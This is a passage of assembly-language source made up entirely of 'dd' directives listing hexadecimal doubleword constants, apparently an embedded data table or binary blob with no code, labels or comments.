dd 0BB6FB238h, 30B780F5h, 0F1C9DF7Dh, 0CB920105h, 0E69D6C0Eh
dd 134DCC80h, 0D1025773h, 0ABA7E3D4h, 3E1CE09Bh, 174301F2h
dd 9972338Ch, 7B41E13Dh, 17E3BA0h, 2EDD7A24h, 70CA9E8Dh
dd 0BA06CBD0h, 2AC223CEh, 0E7E326D0h, 97180072h, 3214DF26h
dd 893D2703h, 90F4F898h, 170C1021h, 0F3CAB5h, 6A5CFE2Bh
dd 0FA1E77BBh, 0F20054ECh, 9E6EB0A6h, 0CEA50013h, 8F3EA482h
dd 1503E180h, 0B1E304D3h, 1B6AA810h, 3827008Ah, 69C31154h
dd 89033795h, 0EA335817h, 60979FCDh, 0B1468D1h, 0C2D01025h
dd 9B3B004Fh, 2BA867DBh, 0DF03767Dh, 0A18418Bh, 0B400058h
dd 4022E9CDh, 7800E2C1h, 0D771CB25h, 69C2C5h, 32133EAEh
dd 0A5F2D358h, 2FEEBB00h, 0C67F8E30h, 41E2007Bh, 0C71FCF65h
dd 2C7A03DCh, 0FB00A67Bh, 307ADF44h, 72440D3h, 616D9A78h
dd 24BE6FE8h, 1EF38C60h, 0D03012D9h, 2F0281D6h, 1A4E004Dh
dd 43288F6Fh, 0D43F8A6Ch, 0D3B08E52h, 0C9CB9E16h, 0D27706F5h
dd 0F9B080C9h, 2C000E0h, 0C2380F9Ah, 0E500FF6Ah, 817804B3h
dd 0EC7FC59h, 278FA920h, 4A9EE881h, 52CCE882h, 0F80067F8h
dd 2C264C6Bh, 0E3157h, 86AD9B21h, 5DF17712h, 3CB82760h
dd 3087078h, 0ED2EF6A6h, 9DE0D290h, 0F150A1F4h, 45004C84h
dd 213C7A1Dh, 4D7786h, 0BFC9BB72h, 14D88C94h, 0F627D500h
dd 1C5EF9A7h, 25A50F56h, 67E39351h, 0BAA0C7E7h, 12002824h
dd 0B0084586h, 61DCC5h, 0E7CBF2AAh, 0E3EEA5ADh, 372F1200h
dd 23B28924h, 0FCA0A011h, 793200CCh, 590BFE41h, 0E300D714h
dd 6D2758A1h, 0F62CA2B7h, 95A707A3h, 0BC44A06Bh, 7C3886D8h
dd 1723810Fh, 11CE0853h, 56E2F0h, 31A03E15h, 0C3719BE5h
dd 0CDF67707h, 0D310B77Ch, 0F6AA4196h, 82F5304Ch, 1CA289A8h
dd 0F9C84D01h, 1D4295EBh, 0C03D2CC0h, 0AE097EB0h, 0A930B05Fh
dd 264D307Fh, 8CF504B2h, 929BD01Fh, 5846D860h, 1654AA01h
dd 0B7DEE091h, 24631424h, 60088737h, 6F95418Eh, 0FDE8D000h
dd 0FB197DAh, 4FF30015h, 0F22D08C6h, 25003EA7h, 1B09AD4Dh
dd 2D40B9Ch, 51A8440Eh, 77C1E198h, 7D6CF00Ch, 0F2B17E00h
dd 26671CABh, 7BB32C2Ah, 0DC1E73h, 9C11E4C5h, 0B604818Fh
dd 0C2A5DD36h, 153ECC8Ah, 3411EC03h, 8EF0E85Bh, 0C90CFDA6h
dd 48C71303h, 0B4BD0006h, 2D8B28F0h, 6A283DBFh, 1500ECEFh
dd 6B61A8EDh, 8D57B7h, 0F0A72C72h, 12070147h, 3C5B6618h
dd 0FC0AAD28h, 0FAF84Ah, 9A695E6Ch, 0CA558DD7h, 5BAE3813h
dd 599F0C00h, 70DD18Eh, 0F5119097h, 9C790089h, 0E12CCB37h
dd 0BB1224D2h, 0E6ACF400h, 1BCCD7C0h, 0D092DC7Fh, 74A15E88h
dd 46518109h, 9BD8180Fh, 0C4C95241h, 1B70F403h, 8690F6D8h
dd 65001913h, 9DF3C912h, 0EA523025h, 7D9F1CA4h, 2C18DFD2h
dd 4D9268h, 0A76CB6D8h, 0C600C777h, 0D8CABCE1h, 4C198F3h
dd 949CB08Ah, 0B3383D3h, 0EF4080ECh, 7013D286h, 45DFB13h
dd 12027D42h, 7B94403Bh, 60C203A7h, 579FBD4h, 7A39BBC0h
dd 47F19860h, 7D1324E7h, 0CC3D303Ch, 0E6FCDFD0h, 908B4800h
dd 1D850396h, 76C21F89h, 0C5E4806Fh, 0BC8211E1h, 23035091h
dd 0A8C68553h, 0EAE2D5C9h, 0D6930289h, 9E08433Dh, 68A6C864h
dd 6F6A9501h, 0CBDA796Eh, 0D1B4A410h, 6BC30085h, 9D9B716Dh
dd 219C5C4Dh, 332F8062h, 65F8A958h, 597EEF15h, 90F00884h
dd 128022D1h, 5FFDB44Bh, 0CEFA01D0h, 0C9348D66h, 0E23DF09Ch
dd 0FBEBF306h, 0C409353h, 34BD848Ch, 80096F1h, 0B0DECB42h
dd 700A3561h, 44B9C0B8h, 2A9881D1h, 0FEB65D02h, 0C092800Eh
dd 0C97353h, 893BCCA8h, 0EAB75C1Ch, 83A4B01Fh, 0E3789680h
dd 0ECE6BB2h, 0C752B1E0h, 0A0E42CE0h, 0E103FF79h, 39C815Bh
dd 98DBB3B5h, 6C3370h, 3A404BD0h, 216E4F5Ah, 0E0ED3D01h
dd 6BC2B42Eh, 6DD71083h, 0E5C054D3h, 9409BE4Dh, 271C03F2h
dd 0BF372934h, 0ADAAAF90h
dd 28D04904h, 89B57883h, 0E29F0609h, 0B95080CFh, 1C36A35Ah
dd 40FC5620h, 0E5ECB03h, 8E4C1060h, 0B0590008h, 866EB7E4h
dd 8E62481Ch, 8DCF1D00h, 0D3AEAA7Bh, 2D0001EEh, 0A18BD789h
dd 0A7B272h, 0ACD26A0Ah, 0EAB11B0Ch, 0FFAAF900h, 43E4C035h
dd 204031Ah, 0ED127AAFh, 216826E8h, 9FD9B800h, 0F0A9521Fh
dd 0FDEC08h, 9684F2BBh, 59079A0Fh, 4200EEF6h, 0D0C73302h
dd 1D7714C5h, 0B84490h, 98EC2619h, 73ED263h, 222983B3h
dd 0E894CEE9h, 2BBF56h, 0F94A8E04h, 0C43AF368h, 38D49F38h
dd 1CD8044h, 100907C0h, 0A8B2502Fh, 0DFCE02B5h, 0AF4B71A4h
dd 29C33048h, 1D7FED76h, 0FB008492h, 9588E9D7h, 0C2C840h
dd 0F2500A85h, 312BB72Fh, 0C1649704h, 8881A123h, 0A107D6Fh
dd 8603DE8h, 0F9CAD240h, 0F63122Eh, 98E040B2h, 8933B9ADh
dd 1017C4A0h, 0D0EF7F2Ch, 0A4F0C901h, 0EC40A364h, 0BD46B5h
dd 3C49D1Ch, 0D191E678h, 6F28FE0Eh, 36E4802Dh, 266C38h
dd 6375DF3Dh, 128EE6EEh, 5D02507Eh, 0B19C4FCEh, 0BFC0406Dh
dd 4A3F0024h, 4BCC9951h, 0A1031610h, 9E7B80CEh, 0C81FD25Eh
dd 0B91C90h, 0AC3E3FE8h, 7B722ECAh, 5379932Eh, 830CD42Ah
dd 0A93E4FFBh, 0F0B2461h, 0AB0980ACh, 0A56277F7h, 8AC3D700h
dd 19FDADD2h, 66EB0076h, 1154FCA9h, 8C06313Dh, 0F5B0CCB9h
dd 0F82A16A0h, 0BD7700FEh, 0D7A928D4h, 80DC7059h, 0CE5BC239h
dd 0AE58008Ah, 0B47FEBB1h, 0E4074941h, 0E2851571h, 66E67752h
dd 16531394h, 78C070DEh, 7A758FA3h, 0C53C0418h, 632DEB8h
dd 0B16453Fh, 701671F7h, 0E401D414h, 6DC435Ah, 4C6EC0h
dd 0EAD022AFh, 1C8A31BBh, 3773120Eh, 0E4E5241Dh, 501411C0h
dd 238F2E22h, 487C2478h, 250DC47Ch, 12855893h, 658EBA8h
dd 891EEF9Ch, 8FB6BF19h, 0D0B28CE9h, 0CC1AB3E9h, 0AE1A0978h
dd 5045D748h, 0AD31F700h, 0BA2A5C23h, 0A81F5CBCh, 9C012125h
dd 0FF561722h, 0D4B16816h, 9C033E00h, 989FC126h, 19890DCh
dd 5ABAC823h, 208A81FDh, 6E0B3A08h, 2EB6B5E2h, 0BA89C0BCh
dd 0C0A7284Ch, 0FD7A6081h, 8700C09Fh, 0ECD450AAh, 4199A0h
dd 5411A947h, 0A78FC95Ch, 13009A79h, 0F2EE32ABh, 0F6E09824h
dd 934C0388h, 0E35165DEh, 3E94D790h, 63024000h, 5D255AA2h
dd 588D1DE4h, 87DCE1h, 0DFFF99D6h, 7B016C6Bh, 0F863FCA5h
dd 25D829B1h, 3DFE73h, 7A404FE0h, 0A1C6604Ah, 0B41EB6EAh
dd 8F49CB77h, 6B70236Fh, 0F9D919B5h, 0C886D138h, 4406DC27h
dd 6511E36Ah, 0C4D1F20h, 14F3C6DFh, 1E27281Fh, 200C0074h
dd 17CB807h, 411271F7h, 215C6E82h, 0C317DCBCh, 815D383Dh
dd 0FD688DC6h, 2080656Ah, 4B85479Eh, 0A900B292h, 38B9B580h
dd 0F3C68Ch, 0DA88FD67h, 8BD53917h, 6FFA8374h, 1EE5FE00h
dd 2EEBC416h, 7CAB0052h, 338724Fh, 5548C9EFh, 244A0F3Ch
dd 3A7EA012h, 0E91DC8h, 0FFD89D2Eh, 0F4C6396Bh, 8A0E4000h
dd 38501A4Fh, 2DCC009Ch, 0D5815A85h, 9900E28Dh, 6B14C99Dh
dd 1DB1912h, 92B724EBh, 29A7CCC8h, 73047D6Ch, 0E4CDA4B4h
dd 0D5DC090h, 2810038Ch, 1ECF27F8h, 0A08059FAh, 0AAE04882h
dd 0D8AF0400h, 0EFC45B8Bh, 8B10094h, 3C9AE324h, 3A39594Fh
dd 3EC70026h, 42A912FEh, 56E237h, 8667C63Dh, 723539Dh
dd 40B67200h, 5BAA3EA4h, 0EB7F45Eh, 0C0E4DBC4h, 0B4FF00D3h
dd 456785D7h, 190ABD00h, 254762EEh, 155400A0h, 0BED4CC4Ch
dd 1000BAECh, 91CF8FF4h, 0F14906h, 93B2085h, 0EAE16DBDh
dd 0B1284200h, 0B9D6705Bh, 0B41C00D9h, 7E602FD8h, 7D001497h
dd 0D4A54FC0h, 492537h, 77A3570Bh, 5D5B0370h, 80D2F93Fh
dd 4EE4E396h, 87015Ah, 6D279174h, 0AB5D2044h, 9D38291Fh
dd 0A06F7240h, 1481BBh, 4E612BCEh, 8086576Eh, 0E7BD5801h
dd 2DF851E1h, 0F592C0h, 0FAAFC3F2h, 883F1202h, 2B803D00h
dd 320AE043h, 3B9831h, 0AC39D26Fh, 6ED7961Dh, 0BBC44800h
dd 35868859h, 379D003Dh, 0FA531BB5h, 0AF01DDCAh, 61368C4Dh
dd 0F2FCE3D0h, 69913F3h, 0B0C0D021h, 5C00CCF4h, 60A13B42h
dd 24806FCEh, 0A731D2h, 0AB5A5F9Ah, 20C0E0A6h, 9B98F78Ah
dd 0EF310037h, 0CDF012A2h, 149828D5h, 0E13EB3F4h, 0AD410049h
dd 7279AF20h, 6630D82Fh, 343FF6BAh, 6E400036h, 0C51DF34Eh
dd 73FD05FFh, 80CC476Ah, 0D3FBBFFCh, 40D83600h, 8598C195h
dd 0D77F0158h, 9A9C118Ah, 0E76820FBh, 0EB252000h, 6A287AC5h
dd 903A008Fh, 5DC13504h, 0BE01FA4Eh, 3EE6BDD0h, 0F7605381h
dd 38A063B9h, 80E0E9AEh, 0BC267F22h, 0B680B435h, 68D2A7CAh
dd 0D18C0047h, 0EE5B86BBh, 0B807F78Bh, 0E5819628h, 0B30FE010h
dd 1B260717h, 70207845h, 0A2CE9788h, 0FE8E7B07h, 42C0DD24h
dd 12C58632h, 686E5Eh, 0F9C82E8h, 0D200168Fh, 0C6A155A0h
dd 9AF075h, 0CFF1103h, 0AAE24638h, 75DAF00h, 0E70569B9h
dd 0CDE10075h, 60213A8Ah, 61B8AC71h, 33F02009h, 10E8003Eh
dd 7DDFC4h, 0E23CDD4Ch, 3B069C1Bh, 0A0FD982Ch, 0D4155200h
dd 304843h, 95191840h, 916B6926h, 86C7A40Fh, 127408Bh
dd 0F2D9FDFBh, 4243BDCh, 0ACEEF901h, 0D4757FEFh, 0DF003BBBh
dd 6CD1CCBDh, 6A499Eh, 5601CE5Fh, 0B7D774C6h, 0B40EA090h
dd 0C0139CAEh, 4BFF86B2h, 8250000Dh, 7DDE3A23h, 3800DDE3h
dd 9570E91Eh, 3937B4h, 862FB141h, 0B3E7CEEBh, 0AB98A90Ch
dd 8850E5h, 6882915Ah, 0EF768502h, 8F5FFD0Fh, 0F865607Ch
dd 0B85CF73Ch, 30E76090h, 1AECE2ABh, 12014F7Fh, 4A0D89A0h
dd 6EF03510h, 317144Dh, 7302945Fh, 0A0762638h, 0AD48D960h
dd 582BC324h, 1FAFC900h, 0EE35A11h, 0E5AEB564h, 8E909F40h
dd 0E6008ACFh, 0E4FCA782h, 0EECE8FB2h, 4C3B0919h, 0A860267Dh
dd 2800848Dh, 2FE08033h, 0BDAA0A8h, 15787263h, 4D594C00h
dd 6209ABF5h, 0C81F86EFh, 0C52B10h, 8C185B8Ah, 31799DBAh
dd 600DD701h, 907D07D0h, 6194EC0h, 0FE44758h, 2B00A82Ah
dd 652C36Eh, 1C1323CEh, 19E8CC85h, 0BED52004h, 26685D2Ch
dd 0B61EE9A2h, 6216FEDDh, 0D018B219h, 393ABC00h, 350EB5FEh
dd 0E0725D9Ch, 11877F2h, 205C0F55h, 4541190Fh, 81B133F6h
dd 0A7A40E38h, 3840E124h, 7CEDB806h, 0F55E00E6h, 6AC4F2CDh
dd 6C0047EAh, 0E29AF150h, 7766F62h, 2D6D58CEh, 884126A7h
dd 8CC01F0Ah, 0F180A46Eh, 190CE12Bh, 20E06B3h, 29EEE4A7h
dd 2966B800h, 0C5D6CBA6h, 26CA0055h, 0DCFAB5AEh, 38015AB2h
dd 0AC2E2CD4h, 0D9D92D31h, 3C549D8h, 592A1243h, 0B13FFECAh
dd 28EB82A0h, 0E0C39E85h, 0E8CCAE7Bh, 3E21C0CFh, 8C10EBBFh
dd 0BC99C000h, 0BDD3B7B5h, 0ACFF3C09h, 217E0180h, 0E55F78D8h
dd 4006FE71h, 6D962768h, 0D0A00C9h, 53FF0397h, 0A733040Eh
dd 7B0864h, 975EA821h, 71D0318Ah, 137FF100h, 94EBBD43h
dd 87C8C540h, 3DB8004Ah, 2EE210D2h, 0E7BFE8A9h, 91BF9293h
dd 98E86EA6h, 5F21C509h, 31BF0322h, 7AA5994h, 6BAC7E8Fh
dd 8A00D479h, 0D67DFFD9h, 807A7569h, 0AC73EC45h, 49D89F6Ch
dd 0EBEA001Fh, 0FED15042h, 2D333C19h, 0A4B820F9h, 432D500h
dd 40005894h, 65F53545h, 0D9F748FBh, 1817B8C0h, 0EE0FE428h
dd 0C6448C86h, 0BF2500A8h, 71329D84h, 3003FFB6h, 0CD05F2DBh
dd 0A77100B3h, 0B9A6F688h, 730E034Ch, 0C1060CDDh, 4D9C19B1h
dd 6AA00FCBh, 51E0C5C2h
dd 0CF660827h, 7F49B600h, 3A7156C9h, 0BA36009Ah, 7084313Eh
dd 0D81CB53Bh, 8980A674h, 22A01120h, 8CB07C0h, 10F5B4C9h
dd 0FF71BE63h, 0A2CF3Bh, 15E7657Bh, 3C10C72h, 0A8AF2561h
dd 0C5A2E82Ah, 4C8F4840h, 5004A7Ah, 0B24E49BDh, 3AD1933Ch
dd 70BF8D07h, 4645276h, 1F00A7FEh, 3D0EBE6h, 5537366h
dd 200C9CB3h, 291D1C3Dh, 31D7610Dh, 0C1FB4446h, 4199F4D5h
dd 3704AA00h, 0AC422A98h, 84C00456h, 8CED6Bh, 87DBE3ABh
dd 381603AFh, 3DA909DFh, 31AE8100h, 4EB75817h, 8EC5035Bh
dd 6C3A3BC2h, 2029BFB8h, 18D8FF4Ch, 0A9B1765Ch, 0AB0800D5h
dd 60224D85h, 7D3A54BCh, 8C1503A5h, 3BF46E67h, 0A43001C8h
dd 73B1DCB1h, 0A18F41C0h, 0F00906h, 716C8325h, 0ADB8DCDAh
dd 0D0201860h, 0CF2FA908h, 0D680D9A1h, 8875168Ch, 96005D74h
dd 1FB3427Ch, 370E7D3h, 0E0430976h, 7806EA5Bh, 65A90340h
dd 37B63841h, 1A3E6905h, 5AA4401Eh, 1DD384EFh, 0EAB41218h
dd 3C588208h, 0D000192Ah, 900722CEh, 0E6000865h, 0DB6EEE01h
dd 0B8E55D15h, 58771D01h, 0A8C60235h, 0EDC33183h, 0D1995014h
dd 70C960BCh, 0EA7649h, 9578CE2Ah, 0E462E5B6h, 6CC7D403h
dd 5C0B84h, 1C1ECF51h, 2557751Fh, 7130FE00h, 0AF16F386h
dd 4B6B22E7h, 0A5537D00h, 0E5D61B82h, 0B60D05D3h, 0E0EDA234h
dd 0A9302796h, 0E544F962h, 0B3680116h, 0BB857DE4h, 4C0898DCh
dd 39ED7921h, 188B9B11h, 0B580DE02h, 767D51A9h, 0DCDC0D2Ah
dd 8CEE307h, 0CD90CC2Eh, 11FA04h, 0F757C136h, 3D610D43h
dd 0A1240937h, 0E04FF88Ah, 1C74B9AAh, 6D2700A5h, 0EE88F306h
dd 0E800A786h, 54892087h, 1876B3BAh, 39D3D201h, 0A1CF4BFAh
dd 975AC098h, 0B1FFCBh, 0C14E997Ah, 0EFD45CCAh, 0D375C000h
dd 0B640359Fh, 0E89501DEh, 5C1018F2h, 9034249Dh, 82142E7Fh
dd 2AB4340Bh, 0A430B8F3h, 26DD2019h, 46300040h, 0A2B5B12Ch
dd 3F127C6Dh, 9C40EA6Bh, 0FC52D03Dh, 0FBBD3AD2h, 6B42401h
dd 0E1057479h, 84C0580Bh, 334C2CC4h, 3A242C81h, 82B1C980h
dd 65B75EC5h, 66749A05h, 9C060378h, 2469E3F6h, 4E585753h
dd 0ECA192CCh, 80B4C73Eh, 283D7D88h, 125A15E9h, 48EF2FB7h
dd 84709AB0h, 83063510h, 0C9680299h, 4C46E746h, 39799D00h
dd 0A5AA143Dh, 9AC70029h, 6D78CCB7h, 949168DBh, 8ED2000h
dd 63A96944h, 9372A187h, 29C8FFC3h, 8300423Ah, 2A6F0696h
dd 0C149E73h, 5E1D0843h, 810FD199h, 55A63Bh, 65E1C4B3h
dd 0F9E663F3h, 2900B20Dh, 0DC1DBD82h, 90C3A0h, 6C247ABFh
dd 0F198DFCCh, 0B148DD12h, 83D6044h, 0B98AE48Bh, 8A5B08ACh
dd 860720B1h, 33437183h, 3DF88006h, 4260B9A3h, 40C56738h
dd 86A0F9Ch, 240D38Eh, 42011586h, 23308C48h, 40300116h
dd 18C4F6C8h, 28DF88A7h, 56514000h, 7BE682CDh, 0F7B5Bh
dd 0A0B60237h, 6386EC03h, 0D0981709h, 0FADC83A1h, 0A7B11F33h
dd 42A21CF4h, 0A4ECAA1Dh, 0B0159463h, 24801F1Ah, 2B000809h
dd 7B66D579h, 803BE40Dh, 49C038FAh, 8068CB1Fh, 58DB011Eh
dd 52D2D5B5h, 770C2095h, 8735B938h, 0BC985AC4h, 1C135FC5h
dd 88563C08h, 68A80953h, 0CC4743Eh, 215768B5h, 212C052Ah
dd 0ACD67FCh, 98A4A5A0h, 0B48B211Bh, 0EB342201h, 0C4D07689h
dd 0C48720C0h, 306BCA48h, 23E52127h, 0E008156Ch, 0EF5C008Ch
dd 0F0D01021h, 506BA818h, 180C139h, 7A4FBB66h, 8FF27B84h
dd 61274A31h, 43767872h, 0D9310BC9h, 1D64C981h, 433F0ACAh
dd 0F07DA2BCh, 0E8772C88h, 8C1D0BF2h, 2C201A0Ah, 0A65F6CE2h
dd 86F7E00Bh, 417E06AFh, 642C0458h, 624A83Ah, 103828EDh
dd 0ED55636h, 0C7C25E23h, 0ED80EA88h, 0C1A30F0Dh, 0CD2AAD49h
dd 34646001h, 2924D83Fh, 17001828h, 4BD1E58Eh, 608A24A4h
dd 6F1080F4h, 0BBE82265h, 8CC67F00h, 0AFFB88DFh, 381C00CCh
dd 47A09727h, 498CAD4h, 24D7B100h, 0D9CDC0F0h, 9CC71CB7h
dd 1AAF4089h, 76758F4Fh, 2AB85A63h, 1EF105EFh, 48131091h
dd 758E739Ch, 84A0664Bh, 0C5700F11h, 0AD037758h, 4C53C9Fh
dd 3168B6ECh, 67E8F96Bh, 0F1448C75h, 21130090h, 9F28FE4Eh
dd 0A902D92Ah, 0FA29C671h, 5BD8A037h, 6A2EDA3h, 0A9AC801Eh
dd 7D0E193Bh, 0C0CDEE29h, 2EB13340h, 61A71F4Bh, 8742499Ch
dd 0BDFE0420h, 0C00085B6h, 2276FA78h, 16F5BC36h, 2068826Eh
dd 0BB0E29B0h, 3E11603h, 89228494h, 0C248BFAh, 29536068h
dd 9895C9CBh, 0F00E3E7Fh, 2518B51Ch, 81BF59FEh, 8D83D550h
dd 0A9BDDC79h, 0C9FEE0h, 0EE099D68h, 0D7D2105h, 0D65B7900h
dd 92B9F099h, 0EA1CA00Ch, 387006Ah, 7F3D23Dh, 0B20C8B98h
dd 5174FA35h, 62683EC6h, 8788800h, 15E0EC11h, 0F002D698h
dd 6BBBE316h, 597F40F5h, 6DFA30B8h, 0D9CF8A39h, 0A942802h
dd 0C0EEB5F6h, 177362A4h, 841A01Fh, 0CB802160h, 0B512C8C3h
dd 3C4B003Dh, 27F24950h, 3403587Fh, 0B9232FD3h, 0A0DFAB85h
dd 0F0DC2572h, 1F1C788h, 71D1CCD5h, 5AD2DB02h, 52126517h
dd 24275C68h, 0F89F2976h, 1F3D05E8h, 5B8C88F4h, 15F13945h
dd 77D6062h, 0D6B89622h, 1C21FCFAh, 7E2FD700h, 160CDDA9h
dd 3710095h, 6134D083h, 3DF276D8h, 9F44CF00h, 21D47DBh
dd 0A8990390h, 881A253Ch, 0C5761BE0h, 0FB00B3F8h, 38BBDA93h
dd 340A4C4h, 855D5BE2h, 64D8808Ah, 2D00C8F9h, 0D39FF2BEh
dd 0F11F14h, 71E4CA4h, 0EC0ECC80h, 565DBD00h, 0A192AEC8h
dd 86DE015Eh, 780C321h, 3B44808Fh, 0EE0BD41Bh, 1BB1F817h
dd 202CB586h, 0B8405103h, 0FEA84B0Ah, 58420111h, 4D9D8AC2h
dd 36933025h, 96D08C6h, 1037020h, 0DAFD1BC2h, 0C434EB87h
dd 0D0029267h, 143BE04Eh, 9120C304h, 0E2E00B28h, 6B70E1F1h
dd 0C4DE0032h, 0D0E9CD0Ch, 0D800D2EDh, 0E66A8816h, 0C45365D1h
dd 0C23898h, 4672EFE2h, 12C3763Dh, 60ABEB0h, 28C5BDF1h
dd 0FDC99E00h, 0B2E426F2h, 0D8900034h, 0F7659FBh, 0C23D2466h
dd 0AFEF802Ch, 5E8A869Fh, 0EB8B00ABh, 3AC376D2h, 74F3B6ADh
dd 3800EC7Eh, 0C9F09D97h, 0EA90EDAh, 908BC47Ah, 1D509EE0h
dd 0BAEA52E1h, 96D44600h, 3575BB4Ah, 1C04036Bh, 90B1814Dh
dd 4B6CDBC8h, 80038E3Bh, 1EA8A13Fh, 652E97A9h, 3A0511FFh
dd 0E258C304h, 0B710007Ch, 6B6E9816h, 303BD222h, 0E88900EAh
dd 3B474593h, 0CB00024h, 50FFA042h, 0F40062A1h, 7307E69Bh
dd 120D43h, 0A91D8B1Bh, 4D5F80BEh, 0B2F63501h, 57CF7907h
dd 38916DDCh, 0BA018902h, 6410D08Ah, 0C0BECDBBh, 0D1F6704Bh
dd 732F1D00h, 34A25F93h, 0D49800D9h, 304C9D5Dh, 5C60D77Eh
dd 0A86BFE38h, 74683F89h, 0CA215B00h, 0EA04B09h, 5FC65D0Fh
dd 0F830E007h, 4FA172h, 88F09E84h, 0CECC43CAh, 0F30BA000h
dd 0E66F7CA6h, 0BDAD074Bh, 60CAB1DDh, 244EA889h, 733A1B06h
dd 48DA4Fh, 5DB2A2B6h, 185955A1h, 9300AB75h, 2226CFF3h
dd 0FBF174E9h, 0AD0DFFCh, 2425BF94h, 0E8AA8FB4h, 7C7E40E0h
dd 0C0C05DCBh, 323D2734h, 50BE06A2h, 391C5390h, 7E88AE7Ch
dd 170100B5h, 55DA913Ah, 0BB0060A0h, 0E0112BC0h, 185C1FF4h
dd 91109ADCh, 700FE93h, 19CD52DDh, 0A7E0D3h, 97ADAC81h
dd 0C97C7845h, 11007470h, 8DFFC455h, 7C0138Ah, 73A34622h
dd 0BD6060D6h, 2906E298h, 0AA521FDCh, 0D02500AAh, 77E711CCh
dd 9A017B47h, 6F809D44h
dd 91D475F5h, 86721E45h, 66701F25h, 6C0900D5h, 0B4BC172Dh
dd 0CFDEC51Ch, 1E0AB000h, 24E0CAh, 1CF1CBA6h, 0B4CE8A9Ch
dd 0A9D4FC01h, 7A69B8BFh, 3EA08040h, 0F350F9Fh, 568011B2h
dd 0C4771FEDh, 400D0A0Eh, 807B5D5Fh, 4FEC8DB3h, 3B9A59D5h
dd 0E780E883h, 425C8732h, 0F0C71F08h, 29A0D55Eh, 54C756h
dd 534ABC93h, 5AE131F2h, 0DB704401h, 6245E72Bh, 215FC441h
dd 0F55AF911h, 0E927D403h, 8A644A05h, 0CDC0B423h, 0DF60E8h
dd 0DC6D8584h, 4DCB651Bh, 6A672D17h, 0C869600h, 7B593D3h
dd 99726277h, 5F9720C4h, 778B7A1h, 0D65D8D00h, 144D2ECDh
dd 0D10400ABh, 71A8E8B5h, 0AD907B73h, 2CFC0550h, 3900197Ch
dd 9E3F9DB6h, 7C72F4C1h, 0DF0C1F22h, 67B94246h, 0D6403C29h
dd 50007E81h, 0F6FAAB06h, 3D583231h, 0D493AFB9h, 0C50040A5h
dd 765A2B1h, 318B2D09h, 35240052h, 0F7A4Fh, 27AF68C0h
dd 0B0BF1BC7h, 0EC502300h, 28E303F4h, 20920088h, 0F6FFCDFBh
dd 0DC70E2D7h, 8E6AA700h, 0D818CF63h, 66253B71h, 3100BF4Ch
dd 0EF62AD16h, 0EB005D03h, 449B78CCh, 0E9249Ch, 0B874BDCDh
dd 9E3AA31Bh, 0F8767F07h, 0A4D06C66h, 81D2E2h, 15B19B79h
dd 423071C0h, 7502A200h, 5E9872B3h, 0B57F64h, 9B668F26h
dd 321259BCh, 423DA400h, 0DDE7CAD8h, 687A009Dh, 4D0E33A9h
dd 9400990Ah, 0F073CC05h, 6EB1A7h, 95C8A6ECh, 7C2E2CB3h
dd 3EBC9E00h, 94841AF1h, 23B400F0h, 5551652Dh, 52008846h
dd 1A7C9149h, 70BB38h, 676F9A4Eh, 242FD1Eh, 8F0E4301h
dd 0F01B7B58h, 144E73E8h, 0C0AB7E1Ch, 0CC009C3Dh, 69EAD07Fh
dd 0D8384D64h, 97B48E53h, 0BE6E40DAh, 0D5D4C1h, 9ACC5AEAh
dd 94449A9h, 13667000h, 92ECF595h, 0E3F000Dh, 5D32382Eh
dd 41006AEDh, 9BDC20F0h, 0F2C4C45h, 90968F69h, 74B45BA0h
dd 0DF0026BDh, 6BE17275h, 876671h, 6798AE4Ch, 0D718D4BFh
dd 91A80C04h, 84901378h, 1C6ED69Fh, 0F6F47h, 0E790D095h
dd 0FA1321D8h, 0B8040B33h, 74877078h, 0E81BA233h, 0C0D7B0FEh
dd 23932718h, 7B085709h, 8D96A5h, 67836DF8h, 48B28650h
dd 1C36B600h, 499D1093h, 0A2C00B9h, 0F435F9D5h, 0E00FD634h
dd 40A0C967h, 3FF86A3h, 7151070Fh, 10F33181h, 0F0014EA2h
dd 6732C400h, 0D7F205E0h, 913C1E24h, 353C2E3h, 0BF40B426h
dd 1200BD3Ah, 864A7564h, 5EB6BCBh, 513CD342h, 0AB800E33h
dd 72573000h, 9C009F79h, 0B6BE7EEBh, 4C15B2B1h, 39006CFAh
dd 0D6831252h, 0BD00D79Eh, 2DF677AEh, 0FB2073Eh, 3B39DA0Fh
dd 0A96F8DAFh, 0E91531E0h, 10108B5h, 0D067506Ch, 53DCE1DEh
dd 80235345h, 9614CD00h, 1AAAE70Ah, 7A0AA0ECh, 0DEF29971h
dd 5201A900h, 0EC1B8FB9h, 9F240108h, 0A103C518h, 5FD9F7F2h
dd 0CE30D4BDh, 0D32BD500h, 0E4A57057h, 3A7CE9h, 254E49B7h
dd 1250888Dh, 7701BB0Eh, 0F1F7E00Ch, 0B5787Fh, 803B1441h
dd 862F23A3h, 0EA2A990Eh, 54040DAh, 9F8C8Dh, 0F6913736h
dd 9D11574h, 76B5CC00h, 757E6FD0h, 7CAF84Ch, 68A79091h
dd 3243F0E1h, 357E2DC2h, 836C522Ch, 22D62900h, 3407CCEh
dd 55A8EAF5h, 0EEB06636h, 1100DAE1h, 5801BEC2h, 1C7F910Ch
dd 98B01B89h, 311758A7h, 0BC2E1998h, 5C806CDEh, 59FD7D67h
dd 80E479h, 610A091Ch, 0E2B9CE83h, 0AEB0BD00h, 3519C5BEh
dd 38A7002Fh, 9CCB1F6Eh, 0B939B157h, 164B001Eh, 6DE8C47Ch
dd 5CD50078h, 0C3E28371h, 7D05DAB5h, 0AD2AE5F1h, 15067480h
dd 6A6C30D9h, 0C3BA2380h, 9B672BF0h, 0E287AA11h, 2F6097C0h
dd 0A9D2B4h, 0E8F2E3B6h, 0F800CBA0h, 2970D1D0h, 0CE7B53h
dd 0D7C0C86Dh, 24E6CF72h, 3CD21600h, 19CC692Dh, 0E1FE0055h
dd 2AA6B7C7h, 6500B899h, 28F77CF0h, 9133207h, 0E36A2B4Dh
dd 2975E020h, 79197C1Dh, 0F8211A71h, 82EADFE1h, 4801B748h
dd 4CE32AC4h, 2860564Dh, 0AEA384F0h, 395800F9h, 5A2E00FEh
dd 918CDEB6h, 84F4064Eh, 0E6B7B300h, 3F65A93Ch, 0F1854CD4h
dd 0D9F4220Eh, 8A20956Fh, 0FEF5DF9Bh, 50195400h, 0FB23C199h
dd 0B1491DA1h, 0F6874084h, 0FD7CD865h, 0D7C51E00h, 3F13F851h
dd 6BC20030h, 5D486CDh, 0A4007912h, 7F49BCA3h, 6748801h
dd 5170FF2Ah, 0C800D1B2h, 4E2DA6A8h, 1DADC3A2h, 18C6EA2Bh
dd 0ABEB21C4h, 4E11A600h, 92200971h, 0F81F0055h, 0DD159D4Fh
